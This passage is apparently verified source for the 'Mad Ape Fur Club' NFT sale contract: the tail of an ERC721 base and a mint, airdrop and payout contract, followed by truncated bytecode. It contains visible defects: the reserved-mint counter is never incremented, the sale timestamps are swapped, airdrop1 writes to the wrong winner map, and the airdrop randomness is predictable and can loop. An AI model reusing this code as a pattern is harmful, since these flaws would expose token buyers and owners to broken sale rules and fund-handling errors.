`tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } contract nft is ERC721, Ownable { using Strings for uint256; //amount of tokens that have been minted so far, in total and in presale uint256 private numberOfTotalTokens; //declares the maximum amount of tokens that can be minted, total and in presale uint256 private maxTotalTokens; //initial part of the URI for the metadata string private _currentBaseURI; //cost of mints depending on state of sale uint public constant mintCostPresale = 0.06 ether; uint public constant mintCostPublicSale = 0.08 ether; //maximum amount of mints allowed per person uint256 public constant maxMint = 5; //the amount of reserved mints that have currently been executed by creator and by marketing wallet uint private _reservedMints = 0; //the maximum amount of reserved mints allowed for creator and marketing wallet uint private maxReservedMints = 100; //addresses of the different shareholders and owners address payable public owner1 = payable(0xD1361Efff0906c43164Adff98C7a412f99F8182B); address payable public owner2 = payable(0xe68970C61736D738cF7680B08f59f4A9e5386dAb); address payable public owner3 = payable(0x540B7D4DfC7D7b7886336ff78f1A5480D944db63); address payable public partner1 = payable(0x96779a5070D5b829a7D52dfBd692a3f3718791c0); address payable public partner2 = payable(0xD02678F505748E38FE034e6FF98e8660833711ed); address payable public partner3 = payable(0xa794A16Ff6B4926B439eC9f522449f336E5c28b9); address payable public partner4 = payable(0x13376EBfCF4A89e5EA1282F5E7B6102F021be442); //address of wallet that has access to reserved mint address public projectWallet = 0x46954016be77333a7DA7B7D424599852B1415aa3; //dummy address that we use to sign the mint transaction to make sure it is valid address private dummy = 0x80E4929c869102140E69550BBECC20bEd61B080c; //marks the timestamp of when the respective sales open uint256 internal presaleLaunchTime; uint256 internal publicSaleLaunchTime; uint256 internal revealTime; //amount of mints that each address has executed mapping(address => uint256) public mintsPerAddress; //current state os sale enum State {NoSale, Presale, PublicSale} //variable to store if the airdrops have been executed bool private airdrop1Executed = false; bool private airdrop2Executed = false; //accounts that won in airdrop1 mapping(address => bool) internal accountsAirdrop1; mapping(address => bool) internal accountsAirdrop2; //stores if the reveal is live or not bool public reveal; //defines the uri for when the NFTs have not been yet revealed string public unrevealedURI; //declaring initial values for variables constructor() ERC721('Mad Ape Fur Club', 'MAFC') { numberOfTotalTokens = 0; maxTotalTokens = 4999; presaleLaunchTime = 1638036000; //Nov 27 1pm EST publicSaleLaunchTime = 1638007200; //Nov 27 2pm EST reveal = false; unrevealedURI = "ipfs://QmRRFsEZcUTobK4touSHcD5hQmNDJdqor55eAZ7AFXoDe1/"; } //in case somebody accidentaly sends funds or transaction to contract receive() payable external {} fallback() payable external { revert(); } //visualize baseURI function _baseURI() internal view virtual override returns (string memory) { return _currentBaseURI; } //change baseURI in case needed for IPFS function changeBaseURI(string memory baseURI_) public onlyOwner { _currentBaseURI = baseURI_; } function changeUnrevealedURI(string memory unrevealedURI_) public onlyOwner { unrevealedURI = unrevealedURI_; } //gets the tokenID of NFT to be minted function tokenId() internal view returns(uint256) { return numberOfTotalTokens + 1; } modifier onlyValidAccess(uint8 _v, bytes32 _r, bytes32 _s) { require( isValidAccessMessage(msg.sender,_v,_r,_s), 'Invalid Signature' ); _; } /* * @dev Verifies if message was signed by owner to give access to _add for this contract. * Assumes Geth signature prefix. * @param _add Address of agent with access * @param _v ECDSA signature parameter v. * @param _r ECDSA signature parameters r. * @param _s ECDSA signature parameters s. * @return Validity of access message for a given address. */ function isValidAccessMessage(address _add, uint8 _v, bytes32 _r, bytes32 _s) view public returns (bool) { bytes32 hash = keccak256(abi.encodePacked(address(this), _add)); return dummy == ecrecover(keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)), _v, _r, _s); } //mint a @param number of NFTs function mint(uint256 number, uint8 _v, bytes32 _r, bytes32 _s) onlyValidAccess(_v, _r, _s) public payable { State saleState_ = saleState(); require(saleState_ != State.NoSale, "Sale in not open yet!"); require(numberOfTotalTokens + number <= maxTotalTokens - (maxReservedMints - _reservedMints), "Not enough NFTs left to mint.."); if (saleState_ == State.Presale) { require(mintsPerAddress[msg.sender] + number <= 5, "Maximum 5 Mints per Address in Presale"); require(msg.value >= mintCostPresale * number, "Not sufficient Ether to mint this amount of NFTs (Cost = 0.06 ether each NFT)"); } else { require(msg.value >= mintCostPublicSale * number, "Not sufficient Ether to mint this amount of NFTs (Cost = 0.08 ether for each NFT)"); } for (uint256 i = 0; i < number; i++) { uint256 tid = tokenId(); _safeMint(msg.sender, tid); mintsPerAddress[msg.sender] += 1; numberOfTotalTokens += 1; } } function tokenURI(uint256 tokenId_) public view virtual override returns (string memory) { require(_exists(tokenId_), "ERC721Metadata: URI query for nonexistent token"); //check to see that 24 hours have passed since beginning of publicsale launch if (!reveal) { return unrevealedURI; } else { string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId_.toString(), '.json')) : ""; } } //reserved NFTs for creator function reservedMint(uint256 number) public { require(msg.sender == projectWallet, 'Not allowed to Mint!'); require(_reservedMints + number <= maxReservedMints, "Not enough Reserved NFTs for Creator left to mint.."); for (uint256 i = 0; i < number; i++) { uint256 tid = tokenId(); _safeMint(msg.sender, tid); mintsPerAddress[msg.sender] += 1; numberOfTotalTokens += 1; } } //burn the tokens that have not been sold yet function burnTokens() public onlyOwner { maxTotalTokens = numberOfTotalTokens; } //se the current account balance function accountBalance() public onlyOwner view returns(uint) { return address(this).balance; } //retrieve all funds recieved from minting function withdraw() public onlyOwner { uint256 balance = accountBalance(); require(balance > 0, 'No Funds to withdraw, Balance is 0'); _withdraw(partner4, (balance * 3) / 100); _withdraw(partner3, (balance * 10) / 100); _withdraw(partner1, (balance * 165) / 1000); _withdraw(partner2, (balance * 165) / 1000); _withdraw(owner3, (balance * 18) / 100); _withdraw(owner2, (balance * 18) / 100); _withdraw(owner1, accountBalance()); //to avoid dust eth, gets a little more than 20% } function airdrop2() public onlyOwner { require(airdrop2Executed == false, 'Airdrop has already been executed!'); require(totalSupply() >= 4500, '90% of the Tokens have not been minted yet!'); for (uint i = 0; i < 15; i++) { uint randomNumber = 0; address winner; while (accountsAirdrop2[winner] == true || randomNumber == 0) { randomNumber = uint(keccak256(abi.encodePacked(block.difficulty, block.timestamp))) % totalSupply(); winner = ownerOf(randomNumber); } _safeMint(winner, tokenId()); mintsPerAddress[winner] += 1; numberOfTotalTokens += 1; accountsAirdrop2[winner] = true; } } function airdrop1() public onlyOwner { require(airdrop1Executed == false, 'Airdrop has already been executed!'); require(totalSupply() >= 1500, '30% of the Tokens have not been minted yet!'); for (uint i = 0; i < 10; i++) { uint randomNumber = 0; address winner; while (accountsAirdrop1[winner] == true || randomNumber == 0) { randomNumber = uint(keccak256(abi.encodePacked(block.difficulty, block.timestamp))) % totalSupply(); winner = ownerOf(randomNumber); } _safeMint(winner, tokenId()); mintsPerAddress[winner] += 1; numberOfTotalTokens += 1; accountsAirdrop2[winner] = true; } } //send the percentage of funds to a shareholder´s wallet function _withdraw(address payable account, uint256 amount) internal { (bool sent, ) = account.call{value: amount}(""); require(sent, "Failed to send Ether"); } //change the dummy account used for signing transactions function changeDummy(address _dummy) public onlyOwner { dummy = _dummy; } //see the total amount of tokens that have been minted function totalSupply() public view returns(uint) { return numberOfTotalTokens; } //to see the total amount of reserved mints left function reservedMintsLeft() public onlyOwner view returns(uint) { return maxReservedMints - _reservedMints; } //see current state of sale //see the current state of the sale function saleState() public view returns(State){ if (block.timestamp < presaleLaunchTime) { return State.NoSale; } else if (block.timestamp < publicSaleLaunchTime) { return State.Presale; } else { return State.PublicSale; } } //gets the cost of current mint function mintCost() public view returns(uint) { State saleState_ = saleState(); if (saleState_ == State.Presale || saleState_ == State.NoSale) { return mintCostPresale; } else { return mintCostPublicSale; } } //change reveal status function toggleReveal() public onlyOwner { reveal = !reveal; } }
0x6080604052600436106102815760003560e01c8063736889141161014f578063b6f36dcf116100c1578063ca2fc70f1161007a578063ca2fc70f1461093e578063cfd5e8ac14610969578063e985e9c514610994578063effc73a4146109d1578063f2fde38b146109e8578063fbaca3c914610a1157610288565b8063b6f36dcf1461082e578063b88d4fde14610859578063bdb4b84814610882578063beb08ab9146108ad578063c4d8b9df146108d8578063c87b56dd1461090157610288565b80638da5cb5b116101135780638da5cb5b1461072e57806395d89b4114610759578063a22cb46514610784578063a475b5dd146107ad578063a4c7c7b3146107d8578063b0a1c1c41461080357610288565b806373688914146106595780637501f7411461068457806389eb727c146106af5780638b35a244146106da5780638c74bf0e1461070557610288565b806332624114116101f35780635b8ad429116101ac5780635b8ad4291461055b578063603f4d52146105725780636352211e1461059d5780637035bf18146105da57806370a0823114610605578063715018a61461064257610288565b8063326241141461045f57806339a0c6f91461049c5780633ccfd60b146104c557806342842e0e146104dc5780634520e91614610505578063527097251461053057610288565b8063081812fc11610245578063081812fc1461034c578063095ea7b31461038957806310aec4a6146103b257806318160ddd146103ce57806323b872dd146103f95780633023eba61461042257610288565b80630191a6571461028d57806301ffc9a7146102b657806306884fc8146102f357806306fdde031461030a57806308003f781461033557610288565b3661028857005b600080fd5b34801561029957600080fd5b506102b460048036038101906102af9190613903565b610a3c565b005b3480156102c257600080fd5b506102dd60048036038101906102d89190613b2d565b610afc565b6040516102ea9190614359565b60405180910390f35b3480156102ff57600080fd5b50610308610bde565b005b34801561031657600080fd5b5061031f610eb2565b60405161032c91906143d4565b60405180910390f35b34801561034157600080fd5b5061034a610f44565b005b34801561035857600080fd5b50610373600480360381019061036e9190613bd0565b610fcb565b60405161038091906142d7565b60405180910390f35b34801561039557600080fd5b506103b060048036038101906103ab9190613a86565b611050565b005b6103cc60048036038101906103c79190613bfd565b611168565b005b3480156103da57600080fd5b506103e36114b3565b6040516103f09190614796565b60405180910390f35b34801561040557600080fd5b50610420600480360381019061041b9190613970565b6114bd565b005b34801561042e57600080fd5b5061044960048036038101906104449190613903565b61151d565b6040516104569190614796565b60405180910390f35b34801561046b57600080fd5b5061048660048036038101906104819190613ac6565b611535565b6040516104939190614359565b60405180910390f35b3480156104a857600080fd5b506104c360048036038101906104be9190613b87565b611633565b005b3480156104d157600080fd5b506104da6116c9565b005b3480156104e857600080fd5b5061050360048036038101906104fe9190613970565b611964565b005b34801561051157600080fd5b5061051a611984565b6040516105279190614796565b60405180910390f35b34801561053c57600080fd5b50610545611a17565b60405161055291906142f2565b60405180910390f35b34801561056757600080fd5b50610570611a3d565b005b34801561057e57600080fd5b50610587611ae5565b60405161059491906143b9565b60405180910390f35b3480156105a957600080fd5b506105c460048036038101906105bf9190613bd0565b611b15565b6040516105d191906142d7565b60405180910390f35b3480156105e657600080fd5b506105ef611bc7565b6040516105fc91906143d4565b60405180910390f35b34801561061157600080fd5b5061062c60048036038101906106279190613903565b611c55565b6040516106399190614796565b60405180910390f35b34801561064e57600080fd5b50610657611d0d565b005b34801561066557600080fd5b5061066e611d95565b60405161067b91906142f2565b60405180910390f35b34801561069057600080fd5b50610699611dbb565b6040516106a69190614796565b60405180910390f35b3480156106bb57600080fd5b506106c4611dc0565b6040516106d191906142f2565b60405180910390f35b3480156106e657600080fd5b506106ef611de6565b6040516106fc91906142f2565b60405180910390f35b34801561071157600080fd5b5061072c60048036038101906107279190613bd0565b611e0c565b005b34801561073a57600080fd5b50610743611f98565b60405161075091906142d7565b60405180910390f35b34801561076557600080fd5b5061076e611fc2565b60405161077b91906143d4565b60405180910390f35b34801561079057600080fd5b506107ab60048036038101906107a69190613a46565b612054565b005b3480156107b957600080fd5b506107c26121d5565b6040516107cf9190614359565b60405180910390f35b3480156107e457600080fd5b506107ed6121e8565b6040516107fa91906142f2565b60405180910390f35b34801561080f57600080fd5b5061081861220e565b6040516108259190614796565b60405180910390f35b34801561083a57600080fd5b50610843612292565b60405161085091906142f2565b60405180910390f35b34801561086557600080fd5b50610880600480360381019061087b91906139c3565b6122b8565b005b34801561088e57600080fd5b5061089761231a565b6040516108a49190614796565b60405180910390f35b3480156108b957600080fd5b506108c26123a3565b6040516108cf91906142d7565b60405180910390f35b3480156108e457600080fd5b506108ff60048036038101906108fa9190613b87565b6123c9565b005b34801561090d57600080fd5b5061092860048036038101906109239190613bd0565b61245f565b60405161093591906143d4565b60405180910390f35b34801561094a57600080fd5b506109536125ad565b6040516109609190614796565b60405180910390f35b34801561097557600080fd5b5061097e6125b9565b60405161098b91906142f2565b60405180910390f35b3480156109a057600080fd5b506109bb60048036038101906109b69190613930565b6125df565b6040516109c89190614359565b60405180910390f35b3480156109dd57600080fd5b506109e6612673565b005b3480156109f457600080fd5b50610a0f6004803603810190610a0a9190613903565b612947565b005b348015610a1d57600080fd5b50610a26612a3f565b604051610a339190614796565b60405180910390f35b610a44612a4a565b73ffffffffffffffffffffffffffffffffffffffff16610a62611f98565b73ffffffffffffffffffffffffffffffffffffffff1614610ab8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aaf90614656565b60405180910390fd5b80601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60007f80ac58cd000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161480610bc757507f5b5e139f000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b80610bd75750610bd682612a52565b5b9050919050565b610be6612a4a565b73ffffffffffffffffffffffffffffffffffffffff16610c04611f98565b73ffffffffffffffffffffffffffffffffffffffff1614610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190614656565b60405180910390fd5b60001515601a60019054906101000a900460ff16151514610cb0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca7906146f6565b60405180910390fd5b611194610cbb6114b3565b1015610cfc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cf390614716565b60405180910390fd5b60005b600f811015610eaf576000805b60011515601c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151480610d6b5750600082145b15610dc057610d786114b3565b4442604051602001610d8b9291906142ab565b6040516020818303038152906040528051906020012060001c610dae9190614b83565b9150610db982611b15565b9050610d0c565b610dd181610dcc612abc565b612ad2565b6001601960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610e219190614886565b92505081905550600160086000828254610e3b9190614886565b925050819055506001601c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050508080610ea790614b02565b915050610cff565b50565b606060008054610ec190614a9f565b80601f0160208091040260200160405190810160405280929190818152602001828054610eed90614a9f565b8015610f3a5780601f10610f0f57610100808354040283529160200191610f3a565b820191906000526020600020905b815481529060010190602001808311610f1d57829003601f168201915b5050505050905090565b610f4c612a4a565b73ffffffffffffffffffffffffffffffffffffffff16610f6a611f98565b73ffffffffffffffffffffffffffffffffffffffff1614610fc0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fb790614656565b60405180910390fd5b600854600981905550565b6000610fd682612af0565b611015576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161100c90614616565b60405180910390fd5b6004600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b600061105b82611b15565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156110cc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110c3906146b6565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166110eb612a4a565b73ffffffffffffffffffffffffffffffffffffffff16148061111a575061111981611114612a4a565b6125df565b5b611159576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115090614576565b60405180910390fd5b6111638383612b5c565b505050565b82828261117733848484611535565b6111b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ad90614636565b60405180910390fd5b60006111c0611ae5565b9050600060028111156111d6576111d5614c12565b5b8160028111156111e9576111e8614c12565b5b141561122a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161122190614756565b60405180910390fd5b600b54600c5461123a9190614967565b6009546112479190614967565b886008546112559190614886565b1115611296576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161128d90614536565b60405180910390fd5b600160028111156112aa576112a9614c12565b5b8160028111156112bd576112bc614c12565b5b14156113ab57600588601960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113109190614886565b1115611351576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611348906146d6565b60405180910390fd5b8766d529ae9e860000611364919061490d565b3410156113a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161139d906144b6565b60405180910390fd5b611402565b8767011c37937e0800006113bf919061490d565b341015611401576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113f890614436565b60405180910390fd5b5b60005b888110156114a8576000611417612abc565b90506114233382612ad2565b6001601960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546114739190614886565b9250508190555060016008600082825461148d9190614886565b925050819055505080806114a090614b02565b915050611405565b505050505050505050565b6000600854905090565b6114ce6114c8612a4a565b82612c15565b61150d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150490614736565b60405180910390fd5b611518838383612cf3565b505050565b60196020528060005260406000206000915090505481565b600080308660405160200161154b929190614215565b6040516020818303038152906040528051906020012090506001816040516020016115769190614270565b60405160208183030381529060405280519060200120868686604051600081526020016040526040516115ac9493929190614374565b6020604051602081039080840390855afa1580156115ce573d6000803e3d6000fd5b5050506020604051035173ffffffffffffffffffffffffffffffffffffffff16601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614915050949350505050565b61163b612a4a565b73ffffffffffffffffffffffffffffffffffffffff16611659611f98565b73ffffffffffffffffffffffffffffffffffffffff16146116af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116a690614656565b60405180910390fd5b80600a90805190602001906116c59291906136ed565b5050565b6116d1612a4a565b73ffffffffffffffffffffffffffffffffffffffff166116ef611f98565b73ffffffffffffffffffffffffffffffffffffffff1614611745576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173c90614656565b60405180910390fd5b600061174f61220e565b905060008111611794576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161178b90614776565b60405180910390fd5b6117d8601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660646003846117c9919061490d565b6117d391906148dc565b612f4f565b61181c601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166064600a8461180d919061490d565b61181791906148dc565b612f4f565b611861601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166103e860a584611852919061490d565b61185c91906148dc565b612f4f565b6118a6601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166103e860a584611897919061490d565b6118a191906148dc565b612f4f565b6118ea600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660646012846118db919061490d565b6118e591906148dc565b612f4f565b61192e600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16606460128461191f919061490d565b61192991906148dc565b612f4f565b611961600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661195c61220e565b612f4f565b50565b61197f838383604051806020016040528060008152506122b8565b505050565b600061198e612a4a565b73ffffffffffffffffffffffffffffffffffffffff166119ac611f98565b73ffffffffffffffffffffffffffffffffffffffff1614611a02576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119f990614656565b60405180910390fd5b600b54600c54611a129190614967565b905090565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b611a45612a4a565b73ffffffffffffffffffffffffffffffffffffffff16611a63611f98565b73ffffffffffffffffffffffffffffffffffffffff1614611ab9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ab090614656565b60405180910390fd5b601d60009054906101000a900460ff1615601d60006101000a81548160ff021916908315150217905550565b6000601654421015611afa5760009050611b12565b601754421015611b0d5760019050611b12565b600290505b90565b6000806002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611bbe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bb5906145b6565b60405180910390fd5b80915050919050565b601e8054611bd490614a9f565b80601f0160208091040260200160405190810160405280929190818152602001828054611c0090614a9f565b8015611c4d5780601f10611c2257610100808354040283529160200191611c4d565b820191906000526020600020905b815481529060010190602001808311611c3057829003601f168201915b505050505081565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611cc6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cbd90614596565b60405180910390fd5b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b611d15612a4a565b73ffffffffffffffffffffffffffffffffffffffff16611d33611f98565b73ffffffffffffffffffffffffffffffffffffffff1614611d89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d8090614656565b60405180910390fd5b611d936000613000565b565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600581565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611e9c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e9390614496565b60405180910390fd5b600c5481600b54611ead9190614886565b1115611eee576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ee590614476565b60405180910390fd5b60005b81811015611f94576000611f03612abc565b9050611f0f3382612ad2565b6001601960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611f5f9190614886565b92505081905550600160086000828254611f799190614886565b92505081905550508080611f8c90614b02565b915050611ef1565b5050565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060018054611fd190614a9f565b80601f0160208091040260200160405190810160405280929190818152602001828054611ffd90614a9f565b801561204a5780601f1061201f5761010080835404028352916020019161204a565b820191906000526020600020905b81548152906001019060200180831161202d57829003601f168201915b5050505050905090565b61205c612a4a565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156120ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120c190614516565b60405180910390fd5b80600560006120d7612a4a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff16612184612a4a565b73ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31836040516121c99190614359565b60405180910390a35050565b601d60009054906101000a900460ff1681565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000612218612a4a565b73ffffffffffffffffffffffffffffffffffffffff16612236611f98565b73ffffffffffffffffffffffffffffffffffffffff161461228c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161228390614656565b60405180910390fd5b47905090565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6122c96122c3612a4a565b83612c15565b612308576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122ff90614736565b60405180910390fd5b612314848484846130c6565b50505050565b600080612325611ae5565b90506001600281111561233b5761233a614c12565b5b81600281111561234e5761234d614c12565b5b148061237e57506000600281111561236957612368614c12565b5b81600281111561237c5761237b614c12565b5b145b156123935766d529ae9e8600009150506123a0565b67011c37937e0800009150505b90565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6123d1612a4a565b73ffffffffffffffffffffffffffffffffffffffff166123ef611f98565b73ffffffffffffffffffffffffffffffffffffffff1614612445576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161243c90614656565b60405180910390fd5b80601e908051906020019061245b9291906136ed565b5050565b606061246a82612af0565b6124a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124a090614696565b60405180910390fd5b601d60009054906101000a900460ff1661254f57601e80546124ca90614a9f565b80601f01602080910402602001604051908101604052809291908181526020018280546124f690614a9f565b80156125435780601f1061251857610100808354040283529160200191612543565b820191906000526020600020905b81548152906001019060200180831161252657829003601f168201915b505050505090506125a8565b6000612559613122565b9050600081511161257957604051806020016040528060008152506125a4565b80612583846131b4565b604051602001612594929190614241565b6040516020818303038152906040525b9150505b919050565b67011c37937e08000081565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b61267b612a4a565b73ffffffffffffffffffffffffffffffffffffffff16612699611f98565b73ffffffffffffffffffffffffffffffffffffffff16146126ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126e690614656565b60405180910390fd5b60001515601a60009054906101000a900460ff16151514612745576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161273c906146f6565b60405180910390fd5b6105dc6127506114b3565b1015612791576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612788906145d6565b60405180910390fd5b60005b600a811015612944576000805b60011515601b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514806128005750600082145b156128555761280d6114b3565b44426040516020016128209291906142ab565b6040516020818303038152906040528051906020012060001c6128439190614b83565b915061284e82611b15565b90506127a1565b61286681612861612abc565b612ad2565b6001601960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546128b69190614886565b925050819055506001600860008282546128d09190614886565b925050819055506001601c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548